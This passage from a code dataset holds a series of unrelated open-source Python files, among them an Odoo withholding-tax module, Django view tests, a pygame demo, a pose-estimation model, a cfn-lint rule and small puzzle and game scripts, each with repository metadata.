else xmin\n ymin = 0 if ymin is None else ymin\n xmax = self.shape[2] if xmax is None else xmax\n ymax = self.shape[1] if ymax is None else ymax\n\n g = ops.transform(self.__geo_transform__.fwd, box(xmin, ymin, xmax, ymax))\n image.__geo_interface__ = mapping(g)\n image.__geo_transform__ = self.__geo_transform__ + (xmin, ymin)\n else:\n image.__geo_interface__ = self.__geo_interface__\n image.__geo_transform__ = self.__geo_transform__\n image._ipe_op = self._ipe_op\n return image\n\n def read(self, bands=None, quiet=False, **kwargs):\n if not quiet:\n print('Fetching Image... {} {}'.format(self.ntiles, 'tiles' if self.ntiles > 1 else 'tile'))\n return super(IpeImage, self).read(bands=bands)\n","sub_path":"gbdxtools/images/ipe_image.py","file_name":"ipe_image.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"222986310","text":"import bs4 as bs\nimport datetime as dt\nimport os\nimport pandas as pd\npd.core.common.is_list_like = pd.api.types.is_list_like\nfrom pandas_datareader import data as web\nimport pickle\nimport requests\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nmpl.rcParams['xtick.labelsize'] = 2\nmpl.rcParams['ytick.labelsize'] = 2\nfrom matplotlib import style\nimport numpy as np\nstyle.use('ggplot')\n\nresp = requests.get('http://en.wikipedia.org/wiki/List_of_S%26P_500_companies')\nsoup = bs.BeautifulSoup(resp.text, 'lxml')\ntable = soup.find('table', {'class': 'wikitable sortable'})\ntickers = []\nfor row in table.findAll('tr')[1:]:\n ticker = row.findAll('td')[0].text\n tickers.append(ticker)\ntickers = sorted(tickers)\n\ndef visualize_data():\n df = pd.read_csv('sp500_joined_closes.csv')\n df.set_index('date', inplace=True) \n df_corr = df.pct_change().corr()\n print(df_corr.head())\n df_corr.to_csv('sp500corr.csv')\n\n data1 = df_corr.values\n fig1 = plt.figure(figsize=(13,13))\n ax1 = fig1.add_subplot(111)\n\n heatmap1 = ax1.pcolor(data1, cmap=plt.cm.RdYlGn)\n fig1.colorbar(heatmap1)\n\n ax1.set_xticks(np.arange(data1.shape[1]) + 0.5, minor=False)\n ax1.set_yticks(np.arange(data1.shape[0]) + 0.5, minor=False)\n ax1.invert_yaxis()\n ax1.xaxis.tick_top()\n column_labels = df_corr.columns\n row_labels = df_corr.index\n ax1.set_xticklabels(column_labels)\n ax1.set_yticklabels(row_labels)\n plt.xticks(rotation=90)\n heatmap1.set_clim(-1,1)\n plt.tight_layout()\n #plt.savefig(\"correlations.png\", dpi = (300))\n plt.show()\n\nvisualize_data()","sub_path":"return_correlation_table.py","file_name":"return_correlation_table.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"243928689","text":"# -*- coding: utf-8 -*-\n#\n#\n# Copyright (C) 2012 Agile Business Group sagl ()\n# Copyright (C) 2012 Domsense srl ()\n# Copyright (C) 2012-2013 Associazione OpenERP Italia\n# ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published\n# by the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n#\n\nfrom openerp.osv import fields, orm\nfrom openerp.tools.translate import _\nimport decimal_precision as dp\n\n\nclass res_company(orm.Model):\n _inherit = 'res.company'\n _columns = {\n 'withholding_payment_term_id': fields.many2one(\n 'account.payment.term',\n 'Withholding tax Payment Term',\n help=\"The withholding tax will have to be paid within this term\"),\n 'withholding_account_id': fields.many2one(\n 'account.account', 'Withholding account',\n help='Payable account used for amount due to tax authority',\n domain=[('type', '=', 'payable')]),\n 'withholding_journal_id': fields.many2one(\n 'account.journal', 'Withholding journal',\n help=\"Journal used for registration of witholding amounts to be \"\n \"paid\"),\n 'authority_partner_id': fields.many2one(\n 'res.partner', 'Tax Authority Partner'),\n }\n\n\nclass account_config_settings(orm.TransientModel):\n _inherit = 'account.config.settings'\n _columns = {\n 'withholding_payment_term_id': fields.related(\n 'company_id', 'withholding_payment_term_id',\n type='many2one',\n relation=\"account.payment.term\",\n string=\"Withholding tax Payment Term\"),\n 'withholding_account_id': fields.related(\n 'company_id', 'withholding_account_id',\n type='many2one',\n relation=\"account.account\",\n string=\"Withholding account\",\n help='Payable account used for amount due to tax authority',\n domain=[('type', '=', 'payable')]),\n 'withholding_journal_id': fields.related(\n 'company_id', 'withholding_journal_id',\n type='many2one',\n relation=\"account.journal\",\n string=\"Withholding journal\",\n help='Journal used for registration of witholding amounts to be '\n 'paid'),\n 'authority_partner_id': fields.related(\n 'company_id', 'authority_partner_id',\n type='many2one',\n relation=\"res.partner\",\n string=\"Tax Authority Partner\"),\n }\n\n def onchange_company_id(self, cr, uid, ids, company_id, context=None):\n res = super(account_config_settings, self).onchange_company_id(\n cr, uid, ids, company_id, context=context)\n if company_id:\n company = self.pool.get('res.company').browse(\n cr, uid, company_id, context=context)\n res['value'].update({\n 'withholding_payment_term_id': (\n company.withholding_payment_term_id\n and company.withholding_payment_term_id.id or False),\n 'withholding_account_id': (\n company.withholding_account_id\n and company.withholding_account_id.id or False),\n 'withholding_journal_id': (\n company.withholding_journal_id\n and company.withholding_journal_id.id or False),\n 'authority_partner_id': (\n company.authority_partner_id\n and company.authority_partner_id.id or False),\n })\n else:\n res['value'].update({\n 'withholding_payment_term_id': False,\n 'withholding_account_id': False,\n 'withholding_journal_id': False,\n 'authority_partner_id': False,\n })\n return res\n\n\nclass account_invoice(orm.Model):\n\n def _net_pay(self, cr, uid, ids, field_name, arg, context=None):\n res = {}\n for invoice in self.browse(cr, uid, ids, context):\n res[invoice.id] = invoice.amount_total - invoice.withholding_amount\n return res\n\n _inherit = \"account.invoice\"\n\n _columns = {\n 'withholding_amount': fields.float(\n 'Withholding amount', digits_compute=dp.get_precision('Account'),\n readonly=True, states={'draft': [('readonly', False)]}),\n 'has_withholding': fields.boolean(\n 'With withholding tax', readonly=True,\n states={'draft': [('readonly', False)]}),\n 'net_pay': fields.function(_net_pay, string=\"Net Pay\"),\n }\n\n\nclass account_voucher(orm.Model):\n _inherit = \"account.voucher\"\n\n _columns = {\n 'withholding_move_ids': fields.many2many(\n 'account.move', 'voucher_withholding_move_rel', 'voucher_id',\n 'move_id', 'Withholding Tax Entries', readonly=True),\n }\n\n def reconcile_withholding_move(\n self, cr, uid, invoice, wh_move, context=None\n ):\n line_pool = self.pool.get('account.move.line')\n rec_ids = []\n for inv_move_line in invoice.move_id.line_id:\n if (\n inv_move_line.account_id.type == 'payable'\n and not inv_move_line.reconcile_id\n ):\n rec_ids.append(inv_move_line.id)\n for wh_line in wh_move.line_id:\n if (\n wh_line.account_id.type == 'payable'\n and invoice.company_id.withholding_account_id\n and invoice.company_id.withholding_account_id.id\n != wh_line.account_id.id\n and not wh_line.reconcile_id\n ):\n rec_ids.append(wh_line.id)\n return line_pool.reconcile_partial(\n cr, uid, rec_ids, type='auto', context=context)\n\n def action_move_line_create(self, cr, uid, ids, context=None):\n res = super(account_voucher, self).action_move_line_create(\n cr, uid, ids, context)\n inv_pool = self.pool.get('account.invoice')\n move_pool = self.pool.get('account.move')\n curr_pool = self.pool.get('res.currency')\n term_pool = self.pool.get('account.payment.term')\n priod_obj = self.pool.get('account.period')\n for voucher in self.browse(cr, uid, ids, context):\n amounts_by_invoice = super(\n account_voucher, self).allocated_amounts_grouped_by_invoice(\n cr, uid, voucher, context)\n for inv_id in amounts_by_invoice:\n invoice = inv_pool.browse(cr, uid, inv_id, context)\n if invoice.withholding_amount:\n # only for supplier payments\n if voucher.type != 'payment':\n raise orm.except_orm(\n _('Error'),\n _('Can\\'t handle withholding tax with voucher of '\n 'type other than payment'))\n if not invoice.company_id.withholding_account_id:\n raise orm.except_orm(\n _('Error'),\n _('The company does not have an associated '\n 'Withholding account'))\n if not invoice.company_id.withholding_payment_term_id:\n raise orm.except_orm(\n _('Error'),\n _('The company does not have an associated '\n 'Withholding Payment Term'))\n if not invoice.company_id.withholding_journal_id:\n raise orm.except_orm(\n _('Error'),\n _('The company does not have an associated '\n 'Withholding journal'))\n if not invoice.company_id.authority_partner_id:\n raise orm.except_orm(\n _('Error'),\n _('The company does not have an associated Tax '\n 'Authority partner'))\n # compute the new amount proportionally to paid amount\n new_line_amount = curr_pool.round(\n cr, uid, voucher.company_id.currency_id,\n ((\n amounts_by_invoice[invoice.id]['allocated']\n + amounts_by_invoice[invoice.id]['write-off']\n ) / invoice.net_pay) * invoice.withholding_amount)\n\n # compute the due date\n due_list = term_pool.compute(\n cr, uid,\n invoice.company_id.withholding_payment_term_id.id,\n new_line_amount,\n date_ref=voucher.date or invoice.date_invoice,\n context=context)\n if len(due_list) > 1:\n raise orm.except_orm(\n _('Error'),\n _('The payment term %s has too many due dates')\n % invoice.company_id.withholding_payment_term_id.\n name)\n if len(due_list) == 0:\n raise orm.except_orm(\n _('Error'),\n _('The payment term %s does not have due dates')\n % invoice.company_id.withholding_payment_term_id.\n name)\n\n period_ids = priod_obj.find(\n cr, uid, dt=voucher.date, context=context)\n new_move = {\n 'journal_id': (\n invoice.company_id.\n withholding_journal_id.id),\n 'period_id': period_ids and period_ids[0] or False,\n 'date': voucher.date,\n 'line_id': [\n (0, 0, {\n 'name': invoice.number,\n 'account_id': invoice.account_id.id,\n 'partner_id': invoice.partner_id.id,\n 'debit': new_line_amount,\n 'credit': 0.0,\n }),\n (0, 0, {\n 'name': _(\n 'Payable withholding - ') + invoice.number,\n 'account_id': (\n invoice.company_id.\n withholding_account_id.id),\n 'partner_id': (\n invoice.company_id.\n authority_partner_id.id),\n 'debit': 0.0,\n 'credit': new_line_amount,\n 'date_maturity': due_list[0][0],\n }),\n ]\n }\n move_id = self.pool.get('account.move').create(\n cr, uid, new_move, context=context)\n self.reconcile_withholding_move(\n cr, uid, invoice, move_pool.browse(\n cr, uid, move_id, context), context)\n voucher.write({'withholding_move_ids': [(4, move_id)]})\n return res\n\n def cancel_voucher(self, cr, uid, ids, context=None):\n res = super(account_voucher, self).cancel_voucher(\n cr, uid, ids, context)\n move_pool = self.pool.get('account.move')\n for voucher in self.browse(cr, uid, ids, context=context):\n for move in voucher.withholding_move_ids:\n move_pool.button_cancel(cr, uid, [move.id])\n move_pool.unlink(cr, uid, [move.id])\n return res\n","sub_path":"l10n_it_withholding_tax/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":12512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"67313462","text":"\nimport json\nfrom src.helper.collection import handle_error, get_response\n\n\nclass HelloHandler(object):\n\t\n\t@staticmethod\n\tdef show_message():\n\t\ttry:\n\t\t\tres_json = get_response({'text': 'hello'})\n\t\t\treturn res_json\n\t\texcept Exception as exception:\n\t\t\treturn handle_error('/', exception)","sub_path":"Python-Server/src/module/hello_handler.py","file_name":"hello_handler.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"4008800","text":"from django.test import TestCase\nfrom django.urls import reverse\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth import get_user_model, authenticate\n\nfrom .models import Game, Genre\n\n## TEST MODELS\ngenres = [\n\n ('Strategy', 'Strategy'),\n ('RPG', 'RPG'),\n ('Sports', 'Sports'),\n ('Races/Rally', 'Races/Rally'),\n ('Races/Arcade', 'Races/Arcade'),\n ('Races/Formula', 'Races/Formula'),\n ('Races/Off-Road', 'Races/Off-Road'),\n ('Action/FPS', 'Action/FPS'),\n ('Action/TPS', 'Action/TPS'),\n ('Action/Misc', 'Action/Misc'),\n ('Adventure', 'Adventure'),\n ('Puzzle/Skills', 'Puzzle/Skills'),\n ('Other', 'Other'),\n ]\n\n\nclass GameModelTest(TestCase):\n\n def setUp(self):\n # get Group created\n Group.objects.create(name='managers')\n # get user created\n User = get_user_model()\n test_user = User.objects.create_user(username='testuser1', email='test@email.com', password='password')\n # add user to managers\n managers_grp = Group.objects.get(name='managers')\n managers_grp.user_set.add(test_user)\n managers_grp.save()\n # login\n response = self.client.post(reverse('account_login'), {'login': 'test@email.com', 'password': 'password'}, follow=False)\n # get genre\n self.genre1 = Genre.objects.all()[0]\n self.genre2 = Genre.objects.all()[1]\n # create game object\n self.game = Game.objects.create(\n name='TestGame',\n price=10.99,\n description='Test Game description',\n quantity_available=100\n )\n self.game.genre.set([self.genre1, self.genre2])\n\n def test_genre_listing(self):\n self.assertEqual(self.genre1.name, 'Strategy')\n self.assertEqual(self.genre2.name, 'RPG')\n\n def test_game_listing(self):\n self.assertEqual(self.game.name, 'TestGame')\n self.assertEqual(self.game.price, 10.99)\n self.assertEqual(self.game.description, 'Test Game description')\n self.assertEqual(self.game.quantity_available, 100)\n\n def test_game_has_genre(self):\n self.assertEqual(self.game.genre.count(), 2)\n\n def test_get_absolute_url(self):\n response = self.client.get(self.game.get_absolute_url())\n self.assertEqual(response.status_code, 200)\n\n def test_if_qty_is_enough(self):\n self.assertTrue(self.game.is_qty_enough(100))\n self.assertFalse(self.game.is_qty_enough(101))\n\n def test_game_str_method(self):\n self.assertEqual(str(self.game), 'TestGame')\n\n def test_genre_str_method(self):\n self.assertEqual(str(self.genre1), 'Strategy')\n\n # test views\n\n def test_home_page(self):\n response = self.client.get(reverse('games:home'))\n self.assertTemplateUsed(response, 'index.html')\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, 'Genre')\n\n def test_single_game_view(self):\n response = self.client.get(self.game.get_absolute_url())\n self.assertTemplateUsed(response, 'games/game_detail.html')\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, 'TestGame')\n\n def test_create_game_view(self):\n game_post_data = {\n 'name': 'NewGameName',\n 'price': 99.99,\n 'description': 'New description',\n 'quantity_available': 111,\n }\n get_response = self.client.get(reverse('games:add'))\n response = self.client.post(reverse('games:add'), game_post_data, follow=False)\n # check if game was created\n new_game = Game.objects.get(name='NewGameName')\n self.assertTrue(new_game)\n self.assertEqual(get_response.status_code, 200)\n self.assertEqual(response.status_code, 302)\n self.assertEqual(response.url, new_game.get_absolute_url())\n self.assertTemplateUsed(get_response, 'games/game_form.html')\n\n def test_edit_game_view(self):\n game_post_data = {\n 'name': 'UpdatedGameName',\n 'price': 99.99,\n 'description': 'Updated description',\n 'quantity_available': 111,\n }\n existing_game_url = reverse('games:edit', kwargs={'pk': self.game.id})\n get_response = self.client.get(existing_game_url)\n response = self.client.post(existing_game_url, game_post_data)\n # check if game was edited\n updated_game = Game.objects.get(name='UpdatedGameName')\n self.assertTrue(updated_game)\n self.assertEqual(get_response.status_code, 200)\n self.assertEqual(response.status_code, 302)\n self.assertEqual(response.url, updated_game.get_absolute_url())\n self.assertTemplateUsed(get_response, 'games/game_update_form.html')\n\n def test_delete_game_view(self):\n existing_game_url = reverse('games:delete', kwargs={'pk': self.game.id})\n get_response = self.client.get(existing_game_url)\n response = self.client.post(existing_game_url)\n # check if game deleted\n self.assertFalse(Game.objects.all())\n self.assertEqual(get_response.status_code, 200)\n self.assertEqual(response.status_code, 302)\n self.assertEqual(response.url, reverse('games:home'))\n self.assertTemplateUsed(get_response, 'games/game_confirm_delete.html')\n\n def test_game_filter_view(self):\n # create some additional games\n g1 = Game.objects.create(name='test1', description='test1')\n g2 = Game.objects.create(name='test2', description='test2')\n # add genres\n g1.genre.add(self.genre1)\n g2.genre.add(self.genre2)\n\n response_two_genres = self.client.get(reverse('games:filter'), {'filter-f': [\n self.genre1.id,\n self.genre2.id\n ]})\n self.assertEqual(response_two_genres.context['games'][0], Game.objects.filter(genre=self.genre1.id).filter(genre=self.genre2.id)[0])\n self.assertTrue(response_two_genres.context['form_filter'])\n self.assertTemplateUsed(response_two_genres, 'index.html')\n self.assertEqual(response_two_genres.status_code, 200)\n\n response_one_genre = self.client.get(reverse('games:filter'), {'filter-f': self.genre1.id})\n self.assertEqual(response_one_genre.context['games'][0],\n Game.objects.filter(genre=self.genre1.id)[0])\n self.assertEqual(response_one_genre.context['games'][1],\n Game.objects.filter(genre=self.genre1.id)[1])\n self.assertTrue(response_one_genre.context['form_filter'])\n self.assertTemplateUsed(response_one_genre, 'index.html')\n self.assertEqual(response_one_genre.status_code, 200)\n\n response_pk = self.client.get(reverse('games:filter', kwargs={'pk': self.genre1.pk}))\n self.assertEqual(response_pk.context['games'][0], Game.objects.filter(genre=self.genre1.id)[0])\n self.assertTrue(response_pk.context['form_filter'])\n self.assertTemplateUsed(response_pk, 'index.html')\n self.assertEqual(response_pk.status_code, 200)\n\n def test_search_game_view(self):\n # create some additional games\n g1 = Game.objects.create(name='test1', description='test1')\n g2 = Game.objects.create(name='test2', description='test2')\n\n response = self.client.get(reverse('games:search'), {'q': 'test'})\n self.assertEqual(response.context['games'][0], self.game)\n self.assertEqual(response.context['games'][1], g1)\n self.assertEqual(response.context['games'][2], g2)\n self.assertTrue(response.context['form_search'])\n self.assertTemplateUsed(response, 'index.html')\n self.assertEqual(response.status_code, 200)\n\n response_wrong = self.client.get(reverse('games:search'), {'q': 'missing'})\n self.assertFalse(response_wrong.context['games'])\n","sub_path":"games/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"449736852","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/val/Projects/workon/mpro/sf3/apps/django-auditware/auditware/__init__.py\n# Compiled at: 2016-04-05 16:17:06\n# Size of source mod 2**32: 196 bytes\n__author__ = 'Val Neekman @ Neekware Inc. [@vneekman]'\n__description__ = 'A Django application that tracks users activities'\n__version__ = '0.0.5'\ndefault_app_config = 'auditware.apps.AppConfig'","sub_path":"pycfiles/django-auditware-0.0.5.tar/__init__.cpython-34.py","file_name":"__init__.cpython-34.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"232034839","text":"\"\"\"\n This example shows having multiple balls bouncing around the screen at the\n same time. You can hit the space bar to spawn more balls.\n\n Sample Python/Pygame Programs\n Simpson College Computer Science\n http://programarcadegames.com/\n http://simpson.edu/computer-science/\n\"\"\"\n\nimport pygame as pg\nimport random\n\n# Define some colors\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\nSCREEN_WIDTH = 1000\nSCREEN_HEIGHT = 800\nBALL_SIZE = 25\nBALL_MIN = 10\nBALL_MAX = 50\n\n\nclass Ball(pg.sprite.Sprite):\n \"\"\"\n Class to keep track of a ball's location and vector.\n \"\"\"\n def __init__(self):\n pg.sprite.Sprite.__init__(self)\n self.size = random.randrange(BALL_MIN, BALL_MAX)\n # Starting position of the ball. Take into account the ball size so we don't spawn on the edge.\n self.x = random.randrange(self.size, SCREEN_WIDTH - self.size)\n self.y = random.randrange(self.size, SCREEN_HEIGHT - self.size)\n # Speed and direction of rectangle\n self.change_x = random.randrange(-3, 3)\n self.change_y = random.randrange(-3, 3)\n\n def update(self):\n pass\n\n def draw(self):\n pg.draw.circle(screen, WHITE, [ball.x, ball.y], BALL_SIZE)\n\ndef main():\n \"\"\"\n This is our main program.\n \"\"\"\n pg.init()\n\n screen_size = [SCREEN_WIDTH, SCREEN_HEIGHT]\n screen = pg.display.set_mode(screen_size)\n\n pg.display.set_caption(\"Bouncing Balls\")\n\n clock = pg.time.Clock()\n\n ball = Ball()\n all_sprites = pg.sprite.Group()\n planets = pg.sprite.Group()\n planets.add(ball)\n\n running = True\n # -------- Main Program Loop -----------\n while running:\n # --- EVENT ---\n for event in pg.event.get():\n if event.type == pg.QUIT:\n running = False\n elif event.type == pg.KEYUP:\n\n if event.key == pg.K_SPACE:\n new_ball = Ball() # Space bar! Spawn a new ball.\n planets.add(new_ball)\n if event.key == pg.K_ESCAPE:\n running = False\n\n # --- UPDATE ---\n for ball in planets:\n # Move the ball's center\n ball.x += ball.change_x\n ball.y += ball.change_y\n\n # Bounce the ball if needed\n if ball.y > SCREEN_HEIGHT - BALL_SIZE or ball.y < BALL_SIZE:\n ball.change_y *= -1\n if ball.x > SCREEN_WIDTH - BALL_SIZE or ball.x < BALL_SIZE:\n ball.change_x *= -1\n\n # --- DRAW / RENDER ---\n # Set the screen background\n screen.fill(BLACK)\n\n # Draw the balls\n for ball in planets:\n pg.draw.circle(screen, WHITE, [ball.x, ball.y], BALL_SIZE)\n\n # --- Wrap-up\n # Limit to 60 frames per second\n clock.tick(60)\n\n # Go ahead and update the screen with what we've drawn.\n pg.display.flip()\n\n # Close everything down\n pg.quit()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bouncing_balls.py","file_name":"bouncing_balls.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"453704961","text":"# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.4'\n# jupytext_version: 1.1.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\ndef PrintArray(array):\n for row in array:\n tmp = ''\n for ele in row:\n tmp += ele\n print(tmp)\n","sub_path":"jupyter_notebook/PrintArray.py","file_name":"PrintArray.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"626800609","text":"\"\"\"\n使用 py.test and pytest-converage\n\"\"\"\nimport json\nimport traceback\n\n\nclass FakeClient(object):\n\n def __init__(self, app):\n self.app = app\n\n @classmethod\n def to_dict(cls, response):\n try:\n return json.loads(response.data)\n except Exception as e:\n print(\"Respone Data: \", response.data)\n traceback.print_exc()\n return dict()\n\n def post(self, api, data):\n content_type = 'application/json'\n with self.app.test_client() as client:\n # with client.session_transaction() as sess: # 登录测试时会用到\n resp = client.post(api, data=json.dumps(data), content_type=content_type)\n # resp.json = self.to_dict(resp)\n return resp\n\n def put(self, api, data):\n content_type = 'application/json'\n with self.app.test_client() as client:\n # with client.session_transaction() as sess:\n resp = client.put(api, json.dumps(data), content_type=content_type)\n # resp.json = self.to_dict(resp)\n return resp\n\n def get(self, api, query_param={}):\n with self.app.test_client() as client:\n # with client.session_transaction() as sess:\n resp = client.get(api, query_string=query_param)\n assert resp.status_code == 200\n # resp.json = self.to_dict(resp)\n return resp\n\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"114849542","text":"import torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom .layers.SE_Resnet import SEResnet\nfrom .layers.DUC import DUC\nfrom opt import opt\n\n\ndef createModel():\n return FastPose()\n\n\nclass FastPose(nn.Module):\n DIM = 128\n\n def __init__(self):\n super(FastPose, self).__init__()\n\n self.preact = SEResnet('resnet101')\n\n self.suffle1 = nn.PixelShuffle(2)\n self.duc1 = DUC(512, 1024, upscale_factor=2)\n self.duc2 = DUC(256, 512, upscale_factor=2)\n\n self.conv_out = nn.Conv2d(\n self.DIM, opt.nClasses, kernel_size=3, stride=1, padding=1)\n\n def forward(self, x: Variable):\n ret_features =[]\n out = self.preact(x)\n out = self.suffle1(out)\n ret_features.append(out)\n out = self.duc1(out)\n ret_features.append(out)\n out = self.duc2(out)\n ret_features.append(out)\n out = self.conv_out(out)\n return out,ret_features\n","sub_path":"engineer/SPPE/src/models/FastPose.py","file_name":"FastPose.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"652491411","text":"\"\"\"\n Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n\n Permission is hereby granted, free of charge, to any person obtaining a copy of this\n software and associated documentation files (the \"Software\"), to deal in the Software\n without restriction, including without limitation the rights to use, copy, modify,\n merge, publish, distribute, sublicense, and/or sell copies of the Software, and to\n permit persons to whom the Software is furnished to do so.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\n INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\nfrom datetime import datetime\nfrom cfnlint.rules.resources.lmbd.DeprecatedRuntime import DeprecatedRuntime\nfrom cfnlint.rules import RuleMatch\n\n\nclass DeprecatedRuntimeEol(DeprecatedRuntime):\n \"\"\"Check if EOL Lambda Function Runtimes are used\"\"\"\n id = 'W2531'\n shortdesc = 'Check if EOL Lambda Function Runtimes are used'\n description = 'Check if an EOL Lambda Runtime is specified and give a warning if used. '\n source_url = 'https://docs.aws.amazon.com/lambda/latest/dg/runtime-support-policy.html'\n tags = ['resources', 'lambda', 'runtime']\n\n def check_runtime(self, runtime_value, path):\n \"\"\" Check if the given runtime is valid\"\"\"\n matches = []\n\n runtime = self.deprecated_runtimes.get(runtime_value)\n if runtime:\n if datetime.strptime(runtime['eol'], '%Y-%m-%d') < self.current_date and datetime.strptime(runtime['deprecated'], '%Y-%m-%d') > self.current_date:\n message = 'EOL runtime ({0}) specified. Runtime is EOL since {1} and updating will be disabled at {2}, please consider to update to {3}'\n matches.append(\n RuleMatch(\n path,\n message.format(\n runtime_value,\n runtime['eol'],\n runtime['deprecated'],\n runtime['successor'])))\n return matches\n","sub_path":"src/cfnlint/rules/resources/lmbd/DeprecatedRuntimeEol.py","file_name":"DeprecatedRuntimeEol.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"413505346","text":"from math import atan2, pi, sqrt\n\n\ndef minDistance(positionList, origin):\n distances = []\n for position in positionList:\n distances.append(sqrt((position[0] - origin[0]) ** 2 + (position[1] - origin[1]) ** 2))\n return positionList[distances.index(min(distances))]\n\n\nwith open(\"input.txt\") as f:\n data = f.readlines()\ndata = list(map(str.strip, data))\n\nasteroidPositions = []\nfor i in range(data.__len__()):\n for j in range(data.__len__()):\n if data[i][j] == '#':\n asteroidPositions.append([i, j])\n# iterate over # and calculate angle to other\nasteroidAngles = []\nasteroidAnglesWithPos = []\nfor i in range(data.__len__()):\n for j in range(data.__len__()):\n if data[i][j] == '#':\n angles = []\n anglesWithPos = []\n for position in asteroidPositions:\n relative = [position[0] - i, position[1] - j]\n if relative != [0, 0]:\n angles.append(atan2(relative[0], relative[1]))\n anglesWithPos.append([atan2(relative[0], relative[1]), position])\n asteroidAngles.append(list(set(angles)))\n asteroidAnglesWithPos.append([anglesWithPos, [i, j]])\nbaseSpot = asteroidAnglesWithPos[asteroidAngles.index(max(asteroidAngles, key=lambda x: x.__len__()))]\n\nbasePosition = baseSpot[1]\nbaseAsteroidsAngles = baseSpot[0]\naux = {}\nfor asteroid in baseAsteroidsAngles:\n if asteroid[0] not in aux.keys():\n aux[asteroid[0]] = [asteroid[1]]\n else:\n aux[asteroid[0]].append(asteroid[1])\nangleList = list(aux.keys())\nangleList.sort(reverse=False)\nasteroidsDestroyed = 0\ni = angleList.index(-pi / 2)\nwhile asteroidsDestroyed < 200:\n if aux[angleList[i]] != []:\n asteroid = minDistance(aux[angleList[i]], basePosition)\n aux[angleList[i]].remove(asteroid)\n asteroidsDestroyed += 1\n i += 1\n if i % angleList.__len__() == 0:\n i = 0\nprint(asteroid[1] * 100 + asteroid[0])\n","sub_path":"src/day10/day10-2.py","file_name":"day10-2.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"18674215","text":"#!/usr/bin/env python3\nimport sys, random #imports random\n\nassert sys.version_info >= (3,7), \"This script requires at least Python 3.7\" #checks to make sure the user is using the right version of python \n\n\nprint('Greetings!') #prints the string\ncolors = ['red','orange','yellow','green','blue','violet','purple'] #creates the variable colors with the following colors\nplay_again = '' #creates the variable \"play again\"\nbest_count = sys.maxsize # the biggest number\n\nwhile (play_again != 'n' and play_again != 'no'): #creates a loops that only ends when the player responds with no or n to play again\n match_color = random.choice(colors) #creates the variable \"match_color\"\n count = 0 #creates the variable count\n color = '' #creates the variable \"color\"\n while (color != match_color): #creates another loop that doesnt end until color = match_color\n color = input(\"\\nWhat is my favorite color? \") #\\n is a special code that adds a new line #ask the player \"what is my favorite color\" and waits for an input from the user\n color = color.lower().strip() #sets the variable color so that whatever the player inputs will become lower case and will remove spaces before and after the input\n count += 1 #adds plus 1 to the count variable whenever the user makes a guess\n if (color == match_color): #creates an if statement that is only true when the color variable = the match_color variable\n print('Correct!') #prints out \"correct\"\n else: #creates an else statement that only happens if the if statement is false\n print('Sorry, try again. You have guessed {guesses} times.'.format(guesses=count)) #tells the user they were wrong and how many guesses they've tried\n \n print('\\nYou guessed it in {} tries!'.format(count)) #prints this if the user was correct and tells them how many guesses they got it in\n\n if (count < best_count): #creates an if statement that is only true if the current 